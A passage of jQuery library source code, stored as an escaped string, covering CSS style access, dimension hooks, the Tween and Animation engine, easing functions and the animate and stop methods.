hook for the prefixed version, then unprefixed version\n\t\thooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];\n\n\t\t// Check if we're setting a value\n\t\tif ( value !== undefined ) {\n\t\t\ttype = typeof value;\n\n\t\t\t// Convert \"+=\" or \"-=\" to relative numbers (#7345)\n\t\t\tif ( type === \"string\" && ( ret = rcssNum.exec( value ) ) && ret[ 1 ] ) {\n\t\t\t\tvalue = adjustCSS( elem, name, ret );\n\n\t\t\t\t// Fixes bug #9237\n\t\t\t\ttype = \"number\";\n\t\t\t}\n\n\t\t\t// Make sure that null and NaN values aren't set (#7116)\n\t\t\tif ( value == null || value !== value ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// If a number was passed in, add the unit (except for certain CSS properties)\n\t\t\tif ( type === \"number\" ) {\n\t\t\t\tvalue += ret && ret[ 3 ] || ( jQuery.cssNumber[ origName ] ? \"\" : \"px\" );\n\t\t\t}\n\n\t\t\t// background-* props affect original clone's values\n\t\t\tif ( !support.clearCloneStyle && value === \"\" && name.indexOf( \"background\" ) === 0 ) {\n\t\t\t\tstyle[ name ] = \"inherit\";\n\t\t\t}\n\n\t\t\t// If a hook was provided, use that value, otherwise just set the specified value\n\t\t\tif ( !hooks || !( \"set\" in hooks ) ||\n\t\t\t\t( value = hooks.set( elem, value, extra ) ) !== undefined ) {\n\n\t\t\t\tif ( isCustomProp ) {\n\t\t\t\t\tstyle.setProperty( name, value );\n\t\t\t\t} else {\n\t\t\t\t\tstyle[ name ] = value;\n\t\t\t\t}\n\t\t\t}\n\n\t\t} else {\n\n\t\t\t// If a hook was provided get the non-computed value from there\n\t\t\tif ( hooks && \"get\" in hooks &&\n\t\t\t\t( ret = hooks.get( elem, false, extra ) ) !== undefined ) {\n\n\t\t\t\treturn ret;\n\t\t\t}\n\n\t\t\t// Otherwise just get the value from the style object\n\t\t\treturn style[ name ];\n\t\t}\n\t},\n\n\tcss: function( elem, name, extra, styles ) {\n\t\tvar val, num, hooks,\n\t\t\torigName = camelCase( name ),\n\t\t\tisCustomProp = rcustomProp.test( name );\n\n\t\t// Make sure that we're working with the right name. We don't\n\t\t// want to modify the value if it is a CSS custom property\n\t\t// since they are user-defined.\n\t\tif ( !isCustomProp ) {\n\t\t\tname = finalPropName( origName );\n\t\t}\n\n\t\t// Try prefixed name followed by the unprefixed name\n\t\thooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];\n\n\t\t// If a hook was provided get the computed value from there\n\t\tif ( hooks && \"get\" in hooks ) {\n\t\t\tval = hooks.get( elem, true, extra );\n\t\t}\n\n\t\t// Otherwise, if a way to get the computed value exists, use that\n\t\tif ( val === undefined ) {\n\t\t\tval = curCSS( elem, name, styles );\n\t\t}\n\n\t\t// Convert \"normal\" to computed value\n\t\tif ( val === \"normal\" && name in cssNormalTransform ) {\n\t\t\tval = cssNormalTransform[ name ];\n\t\t}\n\n\t\t// Make numeric if forced or a qualifier was provided and val looks numeric\n\t\tif ( extra === \"\" || extra ) {\n\t\t\tnum = parseFloat( val );\n\t\t\treturn extra === true || isFinite( num ) ? num || 0 : val;\n\t\t}\n\n\t\treturn val;\n\t}\n} );\n\njQuery.each( [ \"height\", \"width\" ], function( i, dimension ) {\n\tjQuery.cssHooks[ dimension ] = {\n\t\tget: function( elem, computed, extra ) {\n\t\t\tif ( computed ) {\n\n\t\t\t\t// Certain elements can have dimension info if we invisibly show them\n\t\t\t\t// but it must have a current display style that would benefit\n\t\t\t\treturn rdisplayswap.test( jQuery.css( elem, \"display\" ) ) &&\n\n\t\t\t\t\t// Support: Safari 8+\n\t\t\t\t\t// Table columns in Safari have non-zero offsetWidth & zero\n\t\t\t\t\t// getBoundingClientRect().width unless display is changed.\n\t\t\t\t\t// Support: IE <=11 only\n\t\t\t\t\t// Running getBoundingClientRect on a disconnected node\n\t\t\t\t\t// in IE throws an error.\n\t\t\t\t\t( !elem.getClientRects().length || !elem.getBoundingClientRect().width ) ?\n\t\t\t\t\t\tswap( elem, cssShow, function() {\n\t\t\t\t\t\t\treturn getWidthOrHeight( elem, dimension, extra );\n\t\t\t\t\t\t} ) :\n\t\t\t\t\t\tgetWidthOrHeight( elem, dimension, extra );\n\t\t\t}\n\t\t},\n\n\t\tset: function( elem, value, extra ) {\n\t\t\tvar matches,\n\t\t\t\tstyles = getStyles( elem ),\n\t\t\t\tisBorderBox = jQuery.css( elem, \"boxSizing\", false, styles ) === \"border-box\",\n\t\t\t\tsubtract = extra && boxModelAdjustment(\n\t\t\t\t\telem,\n\t\t\t\t\tdimension,\n\t\t\t\t\textra,\n\t\t\t\t\tisBorderBox,\n\t\t\t\t\tstyles\n\t\t\t\t);\n\n\t\t\t// Account for unreliable border-box dimensions by comparing offset* to computed and\n\t\t\t// faking a content-box to get border and padding (gh-3699)\n\t\t\tif ( isBorderBox && support.scrollboxSize() === styles.position ) {\n\t\t\t\tsubtract -= Math.ceil(\n\t\t\t\t\telem[ \"offset\" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] -\n\t\t\t\t\tparseFloat( styles[ dimension ] ) -\n\t\t\t\t\tboxModelAdjustment( elem, dimension, \"border\", false, styles ) -\n\t\t\t\t\t0.5\n\t\t\t\t);\n\t\t\t}\n\n\t\t\t// Convert to pixels if value adjustment is needed\n\t\t\tif ( subtract && ( matches = rcssNum.exec( value ) ) &&\n\t\t\t\t( matches[ 3 ] || \"px\" ) !== \"px\" ) {\n\n\t\t\t\telem.style[ dimension ] = value;\n\t\t\t\tvalue = jQuery.css( elem, dimension );\n\t\t\t}\n\n\t\t\treturn setPositiveNumber( elem, value, subtract );\n\t\t}\n\t};\n} );\n\njQuery.cssHooks.marginLeft = addGetHookIf( support.reliableMarginLeft,\n\tfunction( elem, computed ) {\n\t\tif ( computed ) {\n\t\t\treturn ( parseFloat( curCSS( elem, \"marginLeft\" ) ) ||\n\t\t\t\telem.getBoundingClientRect().left -\n\t\t\t\t\tswap( elem, { marginLeft: 0 }, function() {\n\t\t\t\t\t\treturn elem.getBoundingClientRect().left;\n\t\t\t\t\t} )\n\t\t\t\t) + \"px\";\n\t\t}\n\t}\n);\n\n// These hooks are used by animate to expand properties\njQuery.each( {\n\tmargin: \"\",\n\tpadding: \"\",\n\tborder: \"Width\"\n}, function( prefix, suffix ) {\n\tjQuery.cssHooks[ prefix + suffix ] = {\n\t\texpand: function( value ) {\n\t\t\tvar i = 0,\n\t\t\t\texpanded = {},\n\n\t\t\t\t// Assumes a single number if not a string\n\t\t\t\tparts = typeof value === \"string\" ? value.split( \" \" ) : [ value ];\n\n\t\t\tfor ( ; i < 4; i++ ) {\n\t\t\t\texpanded[ prefix + cssExpand[ i ] + suffix ] =\n\t\t\t\t\tparts[ i ] || parts[ i - 2 ] || parts[ 0 ];\n\t\t\t}\n\n\t\t\treturn expanded;\n\t\t}\n\t};\n\n\tif ( prefix !== \"margin\" ) {\n\t\tjQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber;\n\t}\n} );\n\njQuery.fn.extend( {\n\tcss: function( name, value ) {\n\t\treturn access( this, function( elem, name, value ) {\n\t\t\tvar styles, len,\n\t\t\t\tmap = {},\n\t\t\t\ti = 0;\n\n\t\t\tif ( Array.isArray( name ) ) {\n\t\t\t\tstyles = getStyles( elem );\n\t\t\t\tlen = name.length;\n\n\t\t\t\tfor ( ; i < len; i++ ) {\n\t\t\t\t\tmap[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles );\n\t\t\t\t}\n\n\t\t\t\treturn map;\n\t\t\t}\n\n\t\t\treturn value !== undefined ?\n\t\t\t\tjQuery.style( elem, name, value ) :\n\t\t\t\tjQuery.css( elem, name );\n\t\t}, name, value, arguments.length > 1 );\n\t}\n} );\n\n\nfunction Tween( elem, options, prop, end, easing ) {\n\treturn new Tween.prototype.init( elem, options, prop, end, easing );\n}\njQuery.Tween = Tween;\n\nTween.prototype = {\n\tconstructor: Tween,\n\tinit: function( elem, options, prop, end, easing, unit ) {\n\t\tthis.elem = elem;\n\t\tthis.prop = prop;\n\t\tthis.easing = easing || jQuery.easing._default;\n\t\tthis.options = options;\n\t\tthis.start = this.now = this.cur();\n\t\tthis.end = end;\n\t\tthis.unit = unit || ( jQuery.cssNumber[ prop ] ? \"\" : \"px\" );\n\t},\n\tcur: function() {\n\t\tvar hooks = Tween.propHooks[ this.prop ];\n\n\t\treturn hooks && hooks.get ?\n\t\t\thooks.get( this ) :\n\t\t\tTween.propHooks._default.get( this );\n\t},\n\trun: function( percent ) {\n\t\tvar eased,\n\t\t\thooks = Tween.propHooks[ this.prop ];\n\n\t\tif ( this.options.duration ) {\n\t\t\tthis.pos = eased = jQuery.easing[ this.easing ](\n\t\t\t\tpercent, this.options.duration * percent, 0, 1, this.options.duration\n\t\t\t);\n\t\t} else {\n\t\t\tthis.pos = eased = percent;\n\t\t}\n\t\tthis.now = ( this.end - this.start ) * eased + this.start;\n\n\t\tif ( this.options.step ) {\n\t\t\tthis.options.step.call( this.elem, this.now, this );\n\t\t}\n\n\t\tif ( hooks && hooks.set ) {\n\t\t\thooks.set( this );\n\t\t} else {\n\t\t\tTween.propHooks._default.set( this );\n\t\t}\n\t\treturn this;\n\t}\n};\n\nTween.prototype.init.prototype = Tween.prototype;\n\nTween.propHooks = {\n\t_default: {\n\t\tget: function( tween ) {\n\t\t\tvar result;\n\n\t\t\t// Use a property on the element directly when it is not a DOM element,\n\t\t\t// or when there is no matching style property that exists.\n\t\t\tif ( tween.elem.nodeType !== 1 ||\n\t\t\t\ttween.elem[ tween.prop ] != null && tween.elem.style[ tween.prop ] == null ) {\n\t\t\t\treturn tween.elem[ tween.prop ];\n\t\t\t}\n\n\t\t\t// Passing an empty string as a 3rd parameter to .css will automatically\n\t\t\t// attempt a parseFloat and fallback to a string if the parse fails.\n\t\t\t// Simple values such as \"10px\" are parsed to Float;\n\t\t\t// complex values such as \"rotate(1rad)\" are returned as-is.\n\t\t\tresult = jQuery.css( tween.elem, tween.prop, \"\" );\n\n\t\t\t// Empty strings, null, undefined and \"auto\" are converted to 0.\n\t\t\treturn !result || result === \"auto\" ? 0 : result;\n\t\t},\n\t\tset: function( tween ) {\n\n\t\t\t// Use step hook for back compat.\n\t\t\t// Use cssHook if its there.\n\t\t\t// Use .style if available and use plain properties where available.\n\t\t\tif ( jQuery.fx.step[ tween.prop ] ) {\n\t\t\t\tjQuery.fx.step[ tween.prop ]( tween );\n\t\t\t} else if ( tween.elem.nodeType === 1 &&\n\t\t\t\t( tween.elem.style[ jQuery.cssProps[ tween.prop ] ] != null ||\n\t\t\t\t\tjQuery.cssHooks[ tween.prop ] ) ) {\n\t\t\t\tjQuery.style( tween.elem, tween.prop, tween.now + tween.unit );\n\t\t\t} else {\n\t\t\t\ttween.elem[ tween.prop ] = tween.now;\n\t\t\t}\n\t\t}\n\t}\n};\n\n// Support: IE <=9 only\n// Panic based approach to setting things on disconnected nodes\nTween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {\n\tset: function( tween ) {\n\t\tif ( tween.elem.nodeType && tween.elem.parentNode ) {\n\t\t\ttween.elem[ tween.prop ] = tween.now;\n\t\t}\n\t}\n};\n\njQuery.easing = {\n\tlinear: function( p ) {\n\t\treturn p;\n\t},\n\tswing: function( p ) {\n\t\treturn 0.5 - Math.cos( p * Math.PI ) / 2;\n\t},\n\t_default: \"swing\"\n};\n\njQuery.fx = Tween.prototype.init;\n\n// Back compat <1.8 extension point\njQuery.fx.step = {};\n\n\n\n\nvar\n\tfxNow, inProgress,\n\trfxtypes = /^(?:toggle|show|hide)$/,\n\trrun = /queueHooks$/;\n\nfunction schedule() {\n\tif ( inProgress ) {\n\t\tif ( document.hidden === false && window.requestAnimationFrame ) {\n\t\t\twindow.requestAnimationFrame( schedule );\n\t\t} else {\n\t\t\twindow.setTimeout( schedule, jQuery.fx.interval );\n\t\t}\n\n\t\tjQuery.fx.tick();\n\t}\n}\n\n// Animations created synchronously will run synchronously\nfunction createFxNow() {\n\twindow.setTimeout( function() {\n\t\tfxNow = undefined;\n\t} );\n\treturn ( fxNow = Date.now() );\n}\n\n// Generate parameters to create a standard animation\nfunction genFx( type, includeWidth ) {\n\tvar which,\n\t\ti = 0,\n\t\tattrs = { height: type };\n\n\t// If we include width, step value is 1 to do all cssExpand values,\n\t// otherwise step value is 2 to skip over Left and Right\n\tincludeWidth = includeWidth ? 1 : 0;\n\tfor ( ; i < 4; i += 2 - includeWidth ) {\n\t\twhich = cssExpand[ i ];\n\t\tattrs[ \"margin\" + which ] = attrs[ \"padding\" + which ] = type;\n\t}\n\n\tif ( includeWidth ) {\n\t\tattrs.opacity = attrs.width = type;\n\t}\n\n\treturn attrs;\n}\n\nfunction createTween( value, prop, animation ) {\n\tvar tween,\n\t\tcollection = ( Animation.tweeners[ prop ] || [] ).concat( Animation.tweeners[ \"*\" ] ),\n\t\tindex = 0,\n\t\tlength = collection.length;\n\tfor ( ; index < length; index++ ) {\n\t\tif ( ( tween = collection[ index ].call( animation, prop, value ) ) ) {\n\n\t\t\t// We're done with this property\n\t\t\treturn tween;\n\t\t}\n\t}\n}\n\nfunction defaultPrefilter( elem, props, opts ) {\n\tvar prop, value, toggle, hooks, oldfire, propTween, restoreDisplay, display,\n\t\tisBox = \"width\" in props || \"height\" in props,\n\t\tanim = this,\n\t\torig = {},\n\t\tstyle = elem.style,\n\t\thidden = elem.nodeType && isHiddenWithinTree( elem ),\n\t\tdataShow = dataPriv.get( elem, \"fxshow\" );\n\n\t// Queue-skipping animations hijack the fx hooks\n\tif ( !opts.queue ) {\n\t\thooks = jQuery._queueHooks( elem, \"fx\" );\n\t\tif ( hooks.unqueued == null ) {\n\t\t\thooks.unqueued = 0;\n\t\t\toldfire = hooks.empty.fire;\n\t\t\thooks.empty.fire = function() {\n\t\t\t\tif ( !hooks.unqueued ) {\n\t\t\t\t\toldfire();\n\t\t\t\t}\n\t\t\t};\n\t\t}\n\t\thooks.unqueued++;\n\n\t\tanim.always( function() {\n\n\t\t\t// Ensure the complete handler is called before this completes\n\t\t\tanim.always( function() {\n\t\t\t\thooks.unqueued--;\n\t\t\t\tif ( !jQuery.queue( elem, \"fx\" ).length ) {\n\t\t\t\t\thooks.empty.fire();\n\t\t\t\t}\n\t\t\t} );\n\t\t} );\n\t}\n\n\t// Detect show/hide animations\n\tfor ( prop in props ) {\n\t\tvalue = props[ prop ];\n\t\tif ( rfxtypes.test( value ) ) {\n\t\t\tdelete props[ prop ];\n\t\t\ttoggle = toggle || value === \"toggle\";\n\t\t\tif ( value === ( hidden ? \"hide\" : \"show\" ) ) {\n\n\t\t\t\t// Pretend to be hidden if this is a \"show\" and\n\t\t\t\t// there is still data from a stopped show/hide\n\t\t\t\tif ( value === \"show\" && dataShow && dataShow[ prop ] !== undefined ) {\n\t\t\t\t\thidden = true;\n\n\t\t\t\t// Ignore all other no-op show/hide data\n\t\t\t\t} else {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t\torig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop );\n\t\t}\n\t}\n\n\t// Bail out if this is a no-op like .hide().hide()\n\tpropTween = !jQuery.isEmptyObject( props );\n\tif ( !propTween && jQuery.isEmptyObject( orig ) ) {\n\t\treturn;\n\t}\n\n\t// Restrict \"overflow\" and \"display\" styles during box animations\n\tif ( isBox && elem.nodeType === 1 ) {\n\n\t\t// Support: IE <=9 - 11, Edge 12 - 15\n\t\t// Record all 3 overflow attributes because IE does not infer the shorthand\n\t\t// from identically-valued overflowX and overflowY and Edge just mirrors\n\t\t// the overflowX value there.\n\t\topts.overflow = [ style.overflow, style.overflowX, style.overflowY ];\n\n\t\t// Identify a display type, preferring old show/hide data over the CSS cascade\n\t\trestoreDisplay = dataShow && dataShow.display;\n\t\tif ( restoreDisplay == null ) {\n\t\t\trestoreDisplay = dataPriv.get( elem, \"display\" );\n\t\t}\n\t\tdisplay = jQuery.css( elem, \"display\" );\n\t\tif ( display === \"none\" ) {\n\t\t\tif ( restoreDisplay ) {\n\t\t\t\tdisplay = restoreDisplay;\n\t\t\t} else {\n\n\t\t\t\t// Get nonempty value(s) by temporarily forcing visibility\n\t\t\t\tshowHide( [ elem ], true );\n\t\t\t\trestoreDisplay = elem.style.display || restoreDisplay;\n\t\t\t\tdisplay = jQuery.css( elem, \"display\" );\n\t\t\t\tshowHide( [ elem ] );\n\t\t\t}\n\t\t}\n\n\t\t// Animate inline elements as inline-block\n\t\tif ( display === \"inline\" || display === \"inline-block\" && restoreDisplay != null ) {\n\t\t\tif ( jQuery.css( elem, \"float\" ) === \"none\" ) {\n\n\t\t\t\t// Restore the original display value at the end of pure show/hide animations\n\t\t\t\tif ( !propTween ) {\n\t\t\t\t\tanim.done( function() {\n\t\t\t\t\t\tstyle.display = restoreDisplay;\n\t\t\t\t\t} );\n\t\t\t\t\tif ( restoreDisplay == null ) {\n\t\t\t\t\t\tdisplay = style.display;\n\t\t\t\t\t\trestoreDisplay = display === \"none\" ? \"\" : display;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tstyle.display = \"inline-block\";\n\t\t\t}\n\t\t}\n\t}\n\n\tif ( opts.overflow ) {\n\t\tstyle.overflow = \"hidden\";\n\t\tanim.always( function() {\n\t\t\tstyle.overflow = opts.overflow[ 0 ];\n\t\t\tstyle.overflowX = opts.overflow[ 1 ];\n\t\t\tstyle.overflowY = opts.overflow[ 2 ];\n\t\t} );\n\t}\n\n\t// Implement show/hide animations\n\tpropTween = false;\n\tfor ( prop in orig ) {\n\n\t\t// General show/hide setup for this element animation\n\t\tif ( !propTween ) {\n\t\t\tif ( dataShow ) {\n\t\t\t\tif ( \"hidden\" in dataShow ) {\n\t\t\t\t\thidden = dataShow.hidden;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdataShow = dataPriv.access( elem, \"fxshow\", { display: restoreDisplay } );\n\t\t\t}\n\n\t\t\t// Store hidden/visible for toggle so `.stop().toggle()` \"reverses\"\n\t\t\tif ( toggle ) {\n\t\t\t\tdataShow.hidden = !hidden;\n\t\t\t}\n\n\t\t\t// Show elements before animating them\n\t\t\tif ( hidden ) {\n\t\t\t\tshowHide( [ elem ], true );\n\t\t\t}\n\n\t\t\t/* eslint-disable no-loop-func */\n\n\t\t\tanim.done( function() {\n\n\t\t\t/* eslint-enable no-loop-func */\n\n\t\t\t\t// The final step of a \"hide\" animation is actually hiding the element\n\t\t\t\tif ( !hidden ) {\n\t\t\t\t\tshowHide( [ elem ] );\n\t\t\t\t}\n\t\t\t\tdataPriv.remove( elem, \"fxshow\" );\n\t\t\t\tfor ( prop in orig ) {\n\t\t\t\t\tjQuery.style( elem, prop, orig[ prop ] );\n\t\t\t\t}\n\t\t\t} );\n\t\t}\n\n\t\t// Per-property setup\n\t\tpropTween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim );\n\t\tif ( !( prop in dataShow ) ) {\n\t\t\tdataShow[ prop ] = propTween.start;\n\t\t\tif ( hidden ) {\n\t\t\t\tpropTween.end = propTween.start;\n\t\t\t\tpropTween.start = 0;\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunction propFilter( props, specialEasing ) {\n\tvar index, name, easing, value, hooks;\n\n\t// camelCase, specialEasing and expand cssHook pass\n\tfor ( index in props ) {\n\t\tname = camelCase( index );\n\t\teasing = specialEasing[ name ];\n\t\tvalue = props[ index ];\n\t\tif ( Array.isArray( value ) ) {\n\t\t\teasing = value[ 1 ];\n\t\t\tvalue = props[ index ] = value[ 0 ];\n\t\t}\n\n\t\tif ( index !== name ) {\n\t\t\tprops[ name ] = value;\n\t\t\tdelete props[ index ];\n\t\t}\n\n\t\thooks = jQuery.cssHooks[ name ];\n\t\tif ( hooks && \"expand\" in hooks ) {\n\t\t\tvalue = hooks.expand( value );\n\t\t\tdelete props[ name ];\n\n\t\t\t// Not quite $.extend, this won't overwrite existing keys.\n\t\t\t// Reusing 'index' because we have the correct \"name\"\n\t\t\tfor ( index in value ) {\n\t\t\t\tif ( !( index in props ) ) {\n\t\t\t\t\tprops[ index ] = value[ index ];\n\t\t\t\t\tspecialEasing[ index ] = easing;\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tspecialEasing[ name ] = easing;\n\t\t}\n\t}\n}\n\nfunction Animation( elem, properties, options ) {\n\tvar result,\n\t\tstopped,\n\t\tindex = 0,\n\t\tlength = Animation.prefilters.length,\n\t\tdeferred = jQuery.Deferred().always( function() {\n\n\t\t\t// Don't match elem in the :animated selector\n\t\t\tdelete tick.elem;\n\t\t} ),\n\t\ttick = function() {\n\t\t\tif ( stopped ) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tvar currentTime = fxNow || createFxNow(),\n\t\t\t\tremaining = Math.max( 0, animation.startTime + animation.duration - currentTime ),\n\n\t\t\t\t// Support: Android 2.3 only\n\t\t\t\t// Archaic crash bug won't allow us to use `1 - ( 0.5 || 0 )` (#12497)\n\t\t\t\ttemp = remaining / animation.duration || 0,\n\t\t\t\tpercent = 1 - temp,\n\t\t\t\tindex = 0,\n\t\t\t\tlength = animation.tweens.length;\n\n\t\t\tfor ( ; index < length; index++ ) {\n\t\t\t\tanimation.tweens[ index ].run( percent );\n\t\t\t}\n\n\t\t\tdeferred.notifyWith( elem, [ animation, percent, remaining ] );\n\n\t\t\t// If there's more to do, yield\n\t\t\tif ( percent < 1 && length ) {\n\t\t\t\treturn remaining;\n\t\t\t}\n\n\t\t\t// If this was an empty animation, synthesize a final progress notification\n\t\t\tif ( !length ) {\n\t\t\t\tdeferred.notifyWith( elem, [ animation, 1, 0 ] );\n\t\t\t}\n\n\t\t\t// Resolve the animation and report its conclusion\n\t\t\tdeferred.resolveWith( elem, [ animation ] );\n\t\t\treturn false;\n\t\t},\n\t\tanimation = deferred.promise( {\n\t\t\telem: elem,\n\t\t\tprops: jQuery.extend( {}, properties ),\n\t\t\topts: jQuery.extend( true, {\n\t\t\t\tspecialEasing: {},\n\t\t\t\teasing: jQuery.easing._default\n\t\t\t}, options ),\n\t\t\toriginalProperties: properties,\n\t\t\toriginalOptions: options,\n\t\t\tstartTime: fxNow || createFxNow(),\n\t\t\tduration: options.duration,\n\t\t\ttweens: [],\n\t\t\tcreateTween: function( prop, end ) {\n\t\t\t\tvar tween = jQuery.Tween( elem, animation.opts, prop, end,\n\t\t\t\t\t\tanimation.opts.specialEasing[ prop ] || animation.opts.easing );\n\t\t\t\tanimation.tweens.push( tween );\n\t\t\t\treturn tween;\n\t\t\t},\n\t\t\tstop: function( gotoEnd ) {\n\t\t\t\tvar index = 0,\n\n\t\t\t\t\t// If we are going to the end, we want to run all the tweens\n\t\t\t\t\t// otherwise we skip this part\n\t\t\t\t\tlength = gotoEnd ? animation.tweens.length : 0;\n\t\t\t\tif ( stopped ) {\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\t\t\t\tstopped = true;\n\t\t\t\tfor ( ; index < length; index++ ) {\n\t\t\t\t\tanimation.tweens[ index ].run( 1 );\n\t\t\t\t}\n\n\t\t\t\t// Resolve when we played the last frame; otherwise, reject\n\t\t\t\tif ( gotoEnd ) {\n\t\t\t\t\tdeferred.notifyWith( elem, [ animation, 1, 0 ] );\n\t\t\t\t\tdeferred.resolveWith( elem, [ animation, gotoEnd ] );\n\t\t\t\t} else {\n\t\t\t\t\tdeferred.rejectWith( elem, [ animation, gotoEnd ] );\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t}\n\t\t} ),\n\t\tprops = animation.props;\n\n\tpropFilter( props, animation.opts.specialEasing );\n\n\tfor ( ; index < length; index++ ) {\n\t\tresult = Animation.prefilters[ index ].call( animation, elem, props, animation.opts );\n\t\tif ( result ) {\n\t\t\tif ( isFunction( result.stop ) ) {\n\t\t\t\tjQuery._queueHooks( animation.elem, animation.opts.queue ).stop =\n\t\t\t\t\tresult.stop.bind( result );\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\t}\n\n\tjQuery.map( props, createTween, animation );\n\n\tif ( isFunction( animation.opts.start ) ) {\n\t\tanimation.opts.start.call( elem, animation );\n\t}\n\n\t// Attach callbacks from options\n\tanimation\n\t\t.progress( animation.opts.progress )\n\t\t.done( animation.opts.done, animation.opts.complete )\n\t\t.fail( animation.opts.fail )\n\t\t.always( animation.opts.always );\n\n\tjQuery.fx.timer(\n\t\tjQuery.extend( tick, {\n\t\t\telem: elem,\n\t\t\tanim: animation,\n\t\t\tqueue: animation.opts.queue\n\t\t} )\n\t);\n\n\treturn animation;\n}\n\njQuery.Animation = jQuery.extend( Animation, {\n\n\ttweeners: {\n\t\t\"*\": [ function( prop, value ) {\n\t\t\tvar tween = this.createTween( prop, value );\n\t\t\tadjustCSS( tween.elem, prop, rcssNum.exec( value ), tween );\n\t\t\treturn tween;\n\t\t} ]\n\t},\n\n\ttweener: function( props, callback ) {\n\t\tif ( isFunction( props ) ) {\n\t\t\tcallback = props;\n\t\t\tprops = [ \"*\" ];\n\t\t} else {\n\t\t\tprops = props.match( rnothtmlwhite );\n\t\t}\n\n\t\tvar prop,\n\t\t\tindex = 0,\n\t\t\tlength = props.length;\n\n\t\tfor ( ; index < length; index++ ) {\n\t\t\tprop = props[ index ];\n\t\t\tAnimation.tweeners[ prop ] = Animation.tweeners[ prop ] || [];\n\t\t\tAnimation.tweeners[ prop ].unshift( callback );\n\t\t}\n\t},\n\n\tprefilters: [ defaultPrefilter ],\n\n\tprefilter: function( callback, prepend ) {\n\t\tif ( prepend ) {\n\t\t\tAnimation.prefilters.unshift( callback );\n\t\t} else {\n\t\t\tAnimation.prefilters.push( callback );\n\t\t}\n\t}\n} );\n\njQuery.speed = function( speed, easing, fn ) {\n\tvar opt = speed && typeof speed === \"object\" ? jQuery.extend( {}, speed ) : {\n\t\tcomplete: fn || !fn && easing ||\n\t\t\tisFunction( speed ) && speed,\n\t\tduration: speed,\n\t\teasing: fn && easing || easing && !isFunction( easing ) && easing\n\t};\n\n\t// Go to the end state if fx are off\n\tif ( jQuery.fx.off ) {\n\t\topt.duration = 0;\n\n\t} else {\n\t\tif ( typeof opt.duration !== \"number\" ) {\n\t\t\tif ( opt.duration in jQuery.fx.speeds ) {\n\t\t\t\topt.duration = jQuery.fx.speeds[ opt.duration ];\n\n\t\t\t} else {\n\t\t\t\topt.duration = jQuery.fx.speeds._default;\n\t\t\t}\n\t\t}\n\t}\n\n\t// Normalize opt.queue - true/undefined/null -> \"fx\"\n\tif ( opt.queue == null || opt.queue === true ) {\n\t\topt.queue = \"fx\";\n\t}\n\n\t// Queueing\n\topt.old = opt.complete;\n\n\topt.complete = function() {\n\t\tif ( isFunction( opt.old ) ) {\n\t\t\topt.old.call( this );\n\t\t}\n\n\t\tif ( opt.queue ) {\n\t\t\tjQuery.dequeue( this, opt.queue );\n\t\t}\n\t};\n\n\treturn opt;\n};\n\njQuery.fn.extend( {\n\tfadeTo: function( speed, to, easing, callback ) {\n\n\t\t// Show any hidden elements after setting opacity to 0\n\t\treturn this.filter( isHiddenWithinTree ).css( \"opacity\", 0 ).show()\n\n\t\t\t// Animate to the value specified\n\t\t\t.end().animate( { opacity: to }, speed, easing, callback );\n\t},\n\tanimate: function( prop, speed, easing, callback ) {\n\t\tvar empty = jQuery.isEmptyObject( prop ),\n\t\t\toptall = jQuery.speed( speed, easing, callback ),\n\t\t\tdoAnimation = function() {\n\n\t\t\t\t// Operate on a copy of prop so per-property easing won't be lost\n\t\t\t\tvar anim = Animation( this, jQuery.extend( {}, prop ), optall );\n\n\t\t\t\t// Empty animations, or finishing resolves immediately\n\t\t\t\tif ( empty || dataPriv.get( this, \"finish\" ) ) {\n\t\t\t\t\tanim.stop( true );\n\t\t\t\t}\n\t\t\t};\n\t\t\tdoAnimation.finish = doAnimation;\n\n\t\treturn empty || optall.queue === false ?\n\t\t\tthis.each( doAnimation ) :\n\t\t\tthis.queue( optall.queue, doAnimation );\n\t},\n\tstop: function( type, clearQueue, gotoEnd ) {\n\t\tvar stopQueue = function( hooks ) {\n\t\t\tvar stop = hooks.stop;\n\t\t\tdelete hooks.stop;\n\t\t\tstop( gotoEnd );\n\t\t};\n\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tgotoEnd = clearQueue;\n\t\t\tclearQueue = type;\n\t\t\ttype = undefined;\n\t\t}\n\t\tif ( clearQueue && type !== false ) {\n\t\t\tthis.queue( type || \"fx\", [] );\n\t\t}\n\n\t\treturn this.each( function() {\n\t\t\tvar dequeue = true,\n\t\t\t\tindex = type != null && type + \"queueHooks\",\n\t\t\t\ttimers = jQuery.timers,\n\t\t\t\tdata = dataPriv.get( this );\n\n\t\t\tif ( index ) {\n\t\t\t\tif ( data[ index ] && data[ index ].stop ) {\n\t\t\t\t\tstopQueue( data[ index ] );\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor ( index in data ) {\n\t\t\t\t\tif ( data[ index ] && data[ index ].stop && rrun.test( index ) ) {\n\t\t\t\t\t\tstopQueue( data[ index ] );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfor ( index = timers.length; index--; ) {\n\t\t\t\tif ( timers[ index ].elem === this &&\n\t\t\t\t\t( type == null || timers[ index ].queue === type ) ) {\n\n\t\t\t\t\ttimers[ index ].anim.stop( gotoEnd );\n\t\t\t\t\tdequeue = false;\n\t\t\t\t\ttimers.splice( index, 1 );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Start the next in the queue if the last step wasn't forced.\n\t\t\t// Timers currently will call their complete callbacks, which\n\t\t\t// will dequeue but only if they were gotoEnd.\n\t\t\tif ( dequeue || !gotoEnd ) {\n\t\t\t\tjQuery.dequeue( this, type );\n\t\t\t}\n\t\t} 